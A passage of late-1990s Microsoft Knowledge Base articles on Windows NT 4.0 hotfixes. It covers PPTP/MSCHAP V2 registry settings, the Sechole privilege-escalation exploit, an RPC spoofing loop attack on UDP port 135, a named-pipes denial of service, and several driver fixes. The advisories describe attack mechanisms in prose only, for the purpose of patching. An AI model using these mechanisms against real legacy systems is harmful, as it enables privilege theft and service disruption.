you first copy the upgrade to a temporary directory, and then double-click
the executable name or type the executable name "pptpfixi.exe" for x86 or
"pptpfixa.exe" for alpha (without quotation marks) at a command prompt to
install.

The files can also be extracted from the Upgrade pack without installing
them. To do this, copy the Upgrade to a temporary directory, and type
"pptpfixi /x" or "pptpfixa /x" at a command prompt (without the quotation
marks). After extracting the files, the Upgrade can be installed by typing
"hotfix" at a command prompt (without the quotation marks).

To uninstall this upgrade, extract the files to a directory using the "/x"
command as mentioned above and then type "HOTFIX -Y" (without quotation
marks) from the same directory you copied the files to.

Output of "HOTFIX -?":

HOTFIX [-y] [-f] [-n] [-z] [-q] [-m] [-l]
      -y Perform uninstall (only with -m or -q)
      -f Force apps closed at shutdown
      -n Do not create uninstall directory
      -z Do not reboot when update completes
      -q Quiet Mode -- no user interface
      -m Unattended mode
      -l List installed hotfixes

Security Features in this Upgrade
=================================

This upgrade provides several RAS/PPTP security enhancements for Microsoft
Windows NT 4.0. This upgrade also includes the performance improvements and
other fixes that were included in previously released PPTP hotfixes for
Windows NT Service Pack 3.

 - A new version of MSCHAP (MSCHAP V2) has been implemented for VPN
   connections. This new protocol provides mutual authentication, stronger
   initial data encryption keys, and different encryption keys for the
   transmit and receive paths. To minimize the risk of password compromise
   during MSCHAP exchanges, MSCHAP V2 drops support for the MSCHAP password
   change V1, and will not transmit the LMHash encoding of the password.

   For VPN connection requests, a Windows NT server will offer MSCHAP V2
   before offering the legacy MSCHAP. Updated Windows clients (all
   platforms) will accept MSCHAP V2 when it is offered. This behavior
   affects only VPN connections; dial-up connections are not affected.

 - A new registry key, SecureVPN, has been defined to force use of MSCHAP
   V2. When this variable is absent it has a default value of zero. When
   set to one on a Windows NT server, this registry key causes the server
   to drop any VPN connections that do not authenticate using MSCHAP V2.
   This will prevent legacy VPN clients from presenting their credentials
   in an MSCHAP (or CHAP or PAP) exchange, and is a likely configuration
   for networks that require a more secure authentication method for VPN
   connections.

      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\RasMan\PPP

      DWORD: SecureVPN
      Value: 0x00000001 == force MSCHAP V2 for VPN connections
      Value: 0x00000000 == do not force secure MSCHAP V2 (default)

   When set to one on a Windows NT 4.0 client, the SecureVPN registry key
   forces the client to use MSCHAP V2 for all VPN (PPTP) connections.
   Dial-up connections are not affected by this registry setting.

      Please note: Most users will not need to use the Secure VPN flag.
      This flag should be used with care because it will affect the
      behavior of all VPN connections from a client. In general, the
      required use of MSCHAP V2 can be enforced more easily on the server.

 - This release also provides a registry variable, UseLmPassword, which can
   be set to prevent clients from sending the LM response to a legacy
   MSCHAP challenge or in an MSCHAP change password exchange. When this
   variable is absent it has a default value of one, allowing use of the LM
   response (in order to maintain compatibility with legacy systems).

      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\RasMan\PPP\Chap

      DWORD: UseLmPassword
      Value: 0x00000001 == send LMHash of the password (default)
      Value: 0x00000000 == do not send LMHash of the password

   Setting this variable to zero on a server will cause the server to drop
   any connection request which uses the LM response in an MSCHAP exchange.
   Setting this variable to zero on a client will prevent the client from
   using LM responses in MSCHAP exchanges. This variable affects BOTH
   dial-up and VPN connections.

      Please note: Most users will not need to use this registry variable.
      The new secure mode MSCHAP V2 will not send the LMHash response, so
      this registry value is most useful when connecting to older access
      servers which use the original MSCHAP.

Fixes and Features included from the 2.0 Hotfix
===============================================

PPTP Performance Issues Addressed in this Update:

 - A new historyless mode for encryption & compression over PPTP
   connections has been enabled. This new mode will dramatically improve
   performance using PPTP in high latency networks, or networks that
   commonly experience significant packet loss like the Internet. This
   upgrade is fully compatible with legacy PPTP systems. However, in order
   to negotiate historyless mode, both the PPTP client and server must
   support the upgrade. If either client or server refuses the new mode,
   normal MPPE compression and encryption will be negotiated to insure
   communication capabilities are not lost. To experience the full benefit
   of the PPTP performance update, this update must be installed on both
   Windows NT clients and servers. A corresponding release Microsoft
   Dial-Up Networking 1.3 is available for Windows 95 clients, while the
   new release of Windows 98 already includes the appropriate client code.

      Please note: RAS Servers that terminate compulsory PPTP connections
      from an FEP (Front End Processor) must disable historyless
      compression/encryption in order for legacy Windows 95 clients to
      receive data properly. An FEP is a dial-up server which can create a
      PPTP tunnel on behalf of its dial-up clients. This feature is
      available from several Access Server vendors, including Compaq
      (Microcom), Ascend, and 3com.

   The value to set in the registry to enable/disable historyless
   encryption/compression is:

   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NdisWan\Parameters

   DWORD: Historyless
   Value: 0x00000001 == Enabled (default)
   Value: 0x00000000 == Disabled

 - The default PPTP receive window size was increased to 16.

 - The window between the NDISWAN driver and the PPTP driver was increased.

 - The PPTP frame size has been set to default to 1400 bytes to avoid
   packet fragmentation.

      Please note: The frame size issue was also addressed in an earlier
      hotfix, and is documented at:

      http://support.microsoft.com/support/kb/articles/q162/2/30.asp

Remote Access Service and PPTP Issues:

 - PPTP server responsiveness has been improved for the time period right
   after termination of multiple PPTP connections.

 - A PPTP server issue of an improperly configured packet header "start
   session" has been corrected. This issue is documented at:

      http://support.microsoft.com/support/kb/articles/q179/1/07.asp

 - Improved integrity of session encryption in MPPE by increasing the
   randomness of successive packet key management following an encryption
   or compression reset.

 - Corrected a RAS/PPTP user interface design issue that could mislead an
   administrator regarding the actual configuration of the server. This
   issue is documented at:

      http://support.microsoft.com/support/kb/articles/q177/6/70.asp

 - Updated MSCHAP to disable sending the LMHash when client set to
   "require" 128-bit encryption.

Other Windows NT Issues Addressed in this Update

 - This release includes an enhancement to TCP/IP which will improve the
   performance of TCP-based applications over high latency networks, such
   as the Internet.

Information in this document is subject to change without notice and is
provided for informational purposes only. The entire risk of the use or
results of the use of this document remains with the user, and Microsoft
Corporation makes no warranties, either express or implied. The names of
companies, products, people, characters, and/or data mentioned herein are
fictitious and are in no way intended to represent any real individual,
company, product, or event, unless otherwise noted. Complying with all
applicable copyright laws is the responsibility of the user. No part of
this document may be reproduced or transmitted in any form or by any means,
electronic or mechanical, for any purpose, without the express written
permission of Microsoft Corporation.

Microsoft may have patents, patent applications, trademarks, copyrights, or
other intellectual property rights covering subject matter in this
document. Except as expressly provided in any written license agreement
from Microsoft, the furnishing of this document does not give you any
license to these patents, trademarks, copyrights, or other intellectual
property.

(c) 1998 Microsoft Corporation. All rights reserved.

Microsoft, MS-DOS, MS, Windows, Windows NT, are either registered
trademarks or trademarks of Microsoft Corporation in the U.S.A. and/or
other countries.

Other product and company names mentioned herein may be the trademarks of
their respective owners.

Additional query words: 4.00 R&RAS RRAS steel head steelhead ntrouter
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q190288
TITLE   :SecHole Lets Non-administrative Users Gain Debug Level Access
PRODUCT :Windows NT
PROD/VER:3.51 4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug3.51 kbbug4.00 kbfix4.00
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server versions 3.51 and 4.0
 - Microsoft Windows NT Workstation versions 3.51 and 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

A utility, Sechole.exe, is being circulated on the Internet that performs a
very sophisticated set of steps that allows a non-administrative user to
gain debug-level access on a system process. Using this utility, the non-
administrative user is able to run some code in the system security context
and thereby grant himself or herself local administrative privileges on the
system.

CAUSE
=====

Sechole.exe locates the memory address of a particular API function
(OpenProcess) and modifies the instructions at that address in a running
image of the exploit program on the local system. Sechole.exe requests
debug rights that gives it elevated privileges. The request is successful
because the access check for this right is expected to be done in the API
that was successfully modified by the exploit program. Sechole.exe can now
add the user who invoked Sechole.exe to the local Administrators group.

RESOLUTION
==========

Windows NT 4.0
--------------

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   07/27/98  06:48p                29,456 Csrsrv.dll (Intel)
   07/27/98  06:52p                 7,440 Csrss.exe  (Intel)

   07/27/98  06:46p                49,424 Csrsrv.dll (Alpha)
   07/27/98  06:46p                12,048 Csrss.exe  (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/priv-fix/

This fix ensures that the access check to grant any rights is done by the
server and not the client.

Windows NT 3.51
---------------

A hotfix for Windows NT 3.51 is not available at this time.

MORE INFORMATION
================

This exploit can potentially allow a non-administrative user to gain local
administrative access to the system and thereby elevate his or her
privileges on the system. To perform this attack, the user has to have a
valid local account on the system and has to have physical access to the
computer to log on locally to the system.

Sensitive systems, such as the Windows NT domain controllers where non-
administrative users do not have any local log on rights by default, are
not susceptible to this threat. The attack cannot be used over the network
to get domain administrative privileges remotely.

For more information, please see the following Microsoft Security Bulletin
at:

   http://www.microsoft.com/security/bulletins/ms98-009.htm

For additional security-related information about Microsoft products,
please go to:

   http://www.microsoft.com/security/

STATUS
======

Windows NT 4.0
--------------

Microsoft has confirmed this problem could result in some degree of
security vulnerability in Windows NT version 4.0. A fully supported
fix is now available, but it has not been fully regression tested
and should only be applied to systems determined to be at risk of
attack. Please evaluate your system's physical accessibility,
network and Internet connectivity, and other factors to determine the
degree of risk to your system. If your system is sufficiently at risk,
Microsoft recommends you apply this fix. Otherwise, wait for the next
Windows NT service pack, which will contain this fix. Please contact
Microsoft Technical Support for more information.

Windows NT 3.51
---------------

Microsoft has confirmed this to be a problem in Microsoft Windows NT
version 3.51.

Additional query words: getadmin Windows NT Privilege Elevation attack
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q193233
TITLE   :RPCSS.EXE Consumes 100% CPU due to RPC-spoofing Attack
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug kbbug4.00 kbfix4.00 kbfix

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server version 4.0, Terminal Server Edition
--------------------------------------------------------------------------

SYMPTOMS
========

System and network performance could degrade and the Rpcss.exe process
could consume 100 percent of CPU time. Analyzing the network with a
protocol analyzer shows multiple RPC REJECT packets (addressed to UDP port
135) between two or more systems because of an RPC spoofing attack.

CAUSE
=====

This problem is caused by a malicious attack on the remote procedure call
(RPC) components in Windows NT.

A UDP packet with a destination port of 135 can be spoofed so that it
appears as if one datagram RPC server sent bad data to another datagram RPC
server. The second server returns a REJECT packet. The first server replies
with another REJECT packet creating a loop that is not broken until a
packet is dropped. If this spoofed UDP packet is sent to multiple
computers, an infinite loop may be created, consuming processor resources
and network bandwidth.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft,
but has not been fully regression tested and should be applied only to
systems determined to be at risk of attack. Please evaluate your system's
physical accessibility, network and Internet connectivity, and other
factors to determine the degree of risk to your system. If your system is
sufficiently at risk, Microsoft recommends you apply this fix. Otherwise,
wait for the next Windows NT service pack, which will contain this fix.

To resolve this problem immediately, download the fix as described below.
For a complete list of Microsoft Product Support Services phone numbers and
information on support costs, please go to the following address on the
World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

Windows NT 4.0
--------------

The English version of this fix should have the following file attributes
or later:

   Date      Time                 Size    File Name     Platform
   -------------------------------------------------------------
   09/04/98  08:45p               330,000 Rpcrt4.dll    (x86)
   09/04/98  08:45p               581,904 Rpcrt4.dll    (Alpha)

This hotfix has been posted to the following Internet location as
Snk-fixi.exe and Snk-fixa.exe:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/Snk-fix/

NOTE: The above link is one path; it has been wrapped for readability.

Windows NT 4.0, Terminal Server Edition
---------------------------------------

The English version of this fix should have the following file attributes
or later:

   Date      Time                 Size    File Name     Platform
   -------------------------------------------------------------
   09/29/98  12:52p               313,104 Rpcrt4.dll    (x86)
   09/29/98  01:02p               548,624 Rpcrt4.dll    (Alpha)

This hotfix has been posted to the following Internet location as
Snk-fixi.exe and Snk-fixa.exe:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40TSE/
   hotfixes-postSP3/Snk-fix/

NOTE: If you contact Microsoft to obtain this fix, a fee may be charged.
This fee is refundable if it is determined that you only require the fix
you requested. However, this fee is non-refundable if you request
additional technical support.

For more information about eligibility for no-charge technical support, see
the following article in the Microsoft Knowledge Base:

   ARTICLE-ID: Q154871
   TITLE     : Determining If Your Product Is Eligible for No-Charge
               Technical Support

STATUS
======

Microsoft has confirmed this problem could result in some degree of
security vulnerability in Windows NT version 4.0 and Windows NT 4.0,
Terminal Server Edition.

MORE INFORMATION
================

For more information, please see the following Microsoft Security Bulletin:

   http://www.microsoft.com/security/bulletins/ms98-014

Additional query words: denial of service attack snork tse wts

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q195540
TITLE   :Windows NT 4.0 Does Not Recognize ATAPI Iomega Clik 40! Drive
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

---------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
---------------------------------------------------------------------

SYMPTOMS
========

Windows NT 4.0 cannot access the ATAPI version of the Iomega Clik 40!
drive.

CAUSE
=====

Windows NT identifies the ATAPI version of the Iomega Clik 40! drive as a
floppy disk drive and assigns it the first available floppy disk drive
letter (usually drive B).

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft,
but has not been fully regression tested and should be applied only to
systems experiencing this specific problem. If you are not severely
affected by this specific problem, Microsoft recommends that you wait for
the next Windows NT service pack that contains this fix.

To resolve this problem immediately, download the fix as described below.
For a complete list of Microsoft Product Support Services phone numbers and
information on support costs, please go to the following address on the
World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes
or later:

   Date      Time                 Size    File Name     Platform
   -------------------------------------------------------------
   11/06/98  03:47p                13,744 Class2.sys    (x86)
   11/06/98  03:46p                23,440 Class2.sys    (Alpha)

This hotfix has been posted to the following Internet location as
Clikfixi.exe (x86) and Clikfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Clik-fix/

NOTE: The above link is one path; it has been wrapped for readability.

NOTE: If you contact Microsoft to obtain this fix, a fee may be charged.
This fee is refundable if it is determined that you only require the fix
you requested. However, this fee is non-refundable if you request
additional technical support.

For more information about eligibility for no-charge technical support, see
the following article in the Microsoft Knowledge Base:

   ARTICLE-ID: Q154871
   TITLE     : Determining If Your Product Is Eligible for No-Charge
               Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.

Additional query words: 4.00 click clickfix click fix
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q195725
TITLE   :Intermediate Network Driver Causes STOP 0x0000001E on MP PC
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

After you install an intermediate network driver, such as the DynamicAccess (R)
software Intermediate driver from 3COM Corporation, the Windows NT computer
may display a blue screen error message in Tcpip.sys with a STOP
0x0000000E. The second dword of the stop code will be 0xC00000005. This has
only been observed on multiprocessor computers. An intermediate driver is a
network driver that is layered between a transport driver and a miniport
driver to provide added functionality.

CAUSE
=====

The Tcpip.sys driver does not properly initialize on multiprocessor
computers.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft,
but has not been fully regression tested and should be applied only to
systems experiencing this specific problem. If you are not severely
affected by this specific problem, Microsoft recommends that you wait for
the next Windows NT service pack that contains this fix.

To resolve this problem immediately, download the fix as described below.
For a complete list of Microsoft Product Support Services phone numbers and
information on support costs, please go to the following address on the
World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes
or later:

   Date      Time                  Size    File Name     Platform
   --------------------------------------------------------------
   11/11/98  12:13p               147,664  Tcpip.sys     (x86)
   11/11/98  12:13p               268,880  Tcpip.sys     (Alpha)

This hotfix has been posted to the following Internet location as
Tcpipfxi.exe (x86) and Tcpipfxa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Tcpip-fix/

NOTE: The above link is one path; it has been wrapped for readability.

NOTE: If you contact Microsoft to obtain this fix, a fee may be charged.
This fee is refundable if it is determined that you only require the fix
you requested. However, this fee is non-refundable if you request
additional technical support.

For more information about eligibility for no-charge technical support, see
the following article in the Microsoft Knowledge Base:

   ARTICLE-ID: Q154871
   TITLE     : Determining If Your Product Is Eligible for No-Charge
               Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.

Additional reference words: 4.00
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q195733
TITLE   :Denial of Service in Applications Using Named Pipes over RPC
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

---------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft Windows NT Server 4.0, Terminal Server Edition
---------------------------------------------------------------------

SYMPTOMS
========

Your Windows NT computer's responsiveness appears sluggish, and network
clients may report a gradual decrease in system performance because of a
Windows NT system process consuming 100 percent of CPU time. In addition,
system memory usage may continually increase (potentially indicating a
memory leak of system resources) up to the limit of available memory. The
computer may stop responding (hang).

CAUSE
=====

This problem is caused by a malicious attack on the remote procedure call
(RPC) components in Windows NT using named pipes transport. Specific
instances of this denial of service attack may be targeted at either the
Spoolss.exe file or Lsass.exe file. There are different variations of the
attack and each may create multiple named pipe connections to a Windows NT
system and send random data. The RPC service then attempts to send a
response and close each connection. The RPC service then cycles into a 100
percent CPU usage loop closing the invalid connections.

RESOLUTION
==========

Windows NT Server and Workstation
Windows NT Server, Enterprise Edition
-------------------------------------

Microsoft has confirmed this problem could result in some degree of
security vulnerability in Windows NT version 4.0. A fully supported fix is
now available, but it has not been fully regression tested and should only
be applied to systems determined to be at risk of attack. Please evaluate
your system's physical accessibility, network and Internet connectivity,
and other factors to determine the degree of risk to your system. If your
system is sufficiently at risk, Microsoft recommends you apply this fix.
Otherwise, wait for the next Windows NT service pack, which will contain
this fix. Please contact Microsoft Technical Support for more information.

To resolve this problem immediately, download the fix as described below.
For a complete list of Microsoft Product Support Services phone numbers and
information on support costs, please go to the following address on the
World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes
or later:

   Date       Time     Size     File name     Platform
   -----------------------------------------------------
   11/12/98   03:38p   12,048   Rpclts1.dll   (x86)
   11/12/98   03:37p   23,312   Rpclts1.dll   (Alpha)

This hotfix has been posted to the following Internet location as
Nprpcfxi.exe (x86) and Nprpcfxa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/nprpc-fix/

NOTE: The above link is one path; it has been wrapped for readability.

NOTE: If you contact Microsoft to obtain this fix, a fee may be charged.
This fee is refundable if it is determined that you only require the fix
you requested. However, this fee is non-refundable if you request
additional technical support.

For more information about eligibility for no-charge technical support, see
the following article in the Microsoft Knowledge Base:

   ARTICLE-ID: Q154871
   TITLE     : Determining If Your Product Is Eligible for No-Charge
               Technical Support

Windows NT Server 4.0, Terminal Server Edition
----------------------------------------------

Microsoft has confirmed this problem could result in some degree of
security vulnerability in Windows NT version 4.0, Terminal Server Edition.
A fully supported fix will be available soon.

STATUS
======

Windows NT Server and Workstation
Windows NT Server, Enterprise Edition
-------------------------------------

Microsoft has confirmed this problem could result in some degree of
security vulnerability in Windows NT version 4.0.

Windows NT Server 4.0, Terminal Server Edition
----------------------------------------------

Microsoft has confirmed this problem could result in some degree of
security vulnerability in Windows NT version 4.0, Terminal Server Edition.

MORE INFORMATION
================

Using Windows NT Performance Monitor, you observe that, over time, the
computer's CPU usage increases to 100 percent and remains there.

Additional query words: 4.00 denial of service nprpcfix
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q195734
TITLE   :WinNT 4.0 Post-Service Pack 4 Hotfixes Combined Into One Package
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0 SP4
 - Microsoft Windows NT Server version 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition version 4.0 SP4
-------------------------------------------------------------------------------

SYMPTOMS
========

For your convenience, Microsoft is combining many of the Windows NT 4.0
Post-Service Pack 4 hotfixes into one self-installing package. For information
on what fixes are included with this package, please see the following articles
in the Microsoft Knowledge Base:

   Q192296 Specially-Malformed GET Requests Can Create Denial of Service

   Q195540 Windows NT 4.0 Does Not Recognize ATAPI Iomega Clik 40! Drive

   Q195725 Intermediate Network Driver Causes STOP 0x0000001E on MP PC

   Q195733 Denial of Service in Applications Using RPC over Named Pipes

   Q196270 SNMP Agent Leaks Memory When Queried

   Q214802 WinNT Lets You Paste Text into Unlock Workstation Dialog Box

   Q214840 MSV1_0 Allows Network Connections for Specific Accounts

The Post-SP4 Roll-up hotfix does not contain updated versions of the individual
hotfixes.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time    Version      Size    File name     Platform
   -------------------------------------------------------------
   11/20/98  06:11p               247,056 advapi32.dll  (x86)
   11/06/98  12:47p                13,744 class2.sys    (x86)
   12/16/98  01:08p               130,320 infocomm.dll  (x86)
   01/18/99  04:06p               124,176 msgina.dll    (x86)
   02/02/99  03:47p                47,376 msv1_0.dll    (x86)
   02/25/99  05:58p                43,792 perfctrs.dll  (x86)
   11/12/98  01:38p                12,048 rpclts1.dll   (x86)
   11/16/98  05:29p                17,680 snmp.exe      (x86)
   11/17/98  03:21p                 8,976 tapiperf.dll  (x86)
   11/11/98  12:13p               147,664 tcpip.sys     (x86)
   12/16/98  01:11p               113,936 w3svc.dll     (x86)
   11/20/98  06:11p               188,176 winlogon.exe  (x86)

   11/20/98  09:10p               404,240 advapi32.dll  (Alpha)
   11/06/98  03:46p                23,440 class2.sys    (Alpha)
   12/16/98  04:08p               223,504 infocomm.dll  (Alpha)
   01/18/99  07:08a               160,528 msgina.dll    (Alpha)
   02/03/99  07:06p                79,120 msv1_0.dll    (Alpha)
   02/25/99  05:57p                60,688 perfctrs.dll  (Alpha)
   11/12/98  04:37p                23,312 rpclts1.dll   (Alpha)
   11/16/98  08:29p                27,920 snmp.exe      (Alpha)
   11/17/98  06:21p                14,096 tapiperf.dll  (Alpha)
   11/11/98  03:13p               268,880 tcpip.sys     (Alpha)
   12/16/98  04:11p               171,280 w3svc.dll     (Alpha)
   11/20/98  09:10p               273,680 winlogon.exe  (Alpha)

This hotfix has been posted to the following Internet location as Sp4hfixi.exe
(x86) and Sp4hfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Rollup-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

